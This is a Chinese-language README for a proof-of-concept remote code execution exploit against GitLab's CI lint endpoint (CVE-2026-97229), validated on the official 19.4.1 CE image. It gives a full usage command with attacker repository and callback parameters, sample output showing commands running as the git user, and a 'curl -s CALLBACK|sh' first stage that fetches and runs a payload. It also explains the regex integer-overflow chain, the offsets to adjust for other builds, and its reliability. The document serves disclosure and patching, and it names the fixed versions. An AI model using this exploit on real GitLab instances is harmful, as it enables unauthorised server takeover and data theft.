
GitLab CI lint 整数溢出 RCE 漏洞 PoC(CVE-2026-97229),已针对官方 19.4.1 CE amd64 镜像验证
poc.py 通过 GitLab 公开的 CI lint 端点利用 CVE-2026-97229。拥有向公开项目推送权限的攻击者提供一条 CI 正则表达式和一个特殊命名的路径。完成该设置后,一个无需凭据的请求便会以 GitLab 的 git 账户执行所选命令。
这是初始 PoC 版本。针对该漏洞、受影响配置以及其他可达路径的分析仍在进行中。Rapid7 的技术分析链接见下文。
GitLab 将该问题评为 CVSS 10.0。它影响 GitLab Community Edition 和 Enterprise Edition,涉及 19.2 至 19.2.8 之前、19.3 至 19.3.5 之前,以及 19.4 至 19.4.2 之前的版本。
所包含的原生布局仅针对官方 Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 镜像进行了测试:
gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c
GET /api/v4/projects/:id/ci/lint。19.4.1 CE amd64 Ruby 布局相匹配。其他受影响的构建需要调整 pcode 和 libruby 偏移量。--cmd 并返回输出,目标必须能够访问回调监听器。该攻击链需要项目写入权限。其后续交付请求不包含令牌、Cookie 或授权头;经过身份验证的克隆 URL 会推送攻击者的载荷分支。
使用 Python 3.9 或更高版本以及 Git 客户端。该脚本没有第三方 Python 依赖。
$ python3 poc.py https://g.example 123 \
--git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
--callback-url cb.ex:8000 \
--cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)
默认监听器绑定到 0.0.0.0:8000。当本地绑定地址与提供给 --callback-url 的地址不同时,请使用 --listen-host 或 --listen-port。
回调值必须能放入 28 字节的第一阶段命令中。使用 curl -s CALLBACK|sh 时,CALLBACK 最多只能有 17 个 UTF-8 字节。通常使用简短的 DNS 名称、重定向器或隧道端点最为简便。
当 GitLab 端点使用自签名 TLS 证书时,请使用 --insecure。该标志仅影响 lint 请求;它不会改变回调的 TLS 处理方式。
GET 请求通常在回调后以 HTTP 502 结束。载荷在 Puma worker 内执行,而该 worker 在 system() 返回后崩溃。Puma 会自动替换它。应将返回的命令输出视为成功,而非 HTTP 状态。
在精确目标上,该利用链在启用 ASLR 的情况下,于 10 次干净 worker 试验中有 10 次产生了命令输出。每次请求耗时约 12 秒。在官方 19.4.2 Ruby 编译器上,相同的正则表达式和路径在没有回调的情况下返回 false。
在内存较低的目标上运行此操作可能导致交换、分配失败或内存不足终止,而非代码执行。多个并发请求可能影响整个 GitLab 实例。
content_ref 读取 .gitlab-ci.yml。include.rules.exists.regexp 编译一个表达式,并针对攻击者控制的仓库路径进行测试。{5(?#)7805} 在 Onigmo 中变为 {57805},但能绕过 GitLab 的重复扫描器。37,151 × 57,805 越过 INT_MAX,生成的跳转偏移量回绕到字符类位图字节中。libruby 中的 system() 调用点。--cmd,然后将 stdout 和 stderr 发送回监听器。阅读 Rapid7 的 CVE-2026-97229 技术分析。
升级到 GitLab 19.2.8、19.3.5、19.4.2 或更高版本的受支持发行版。有关部署指导,请参阅 GitLab 的关键补丁发布。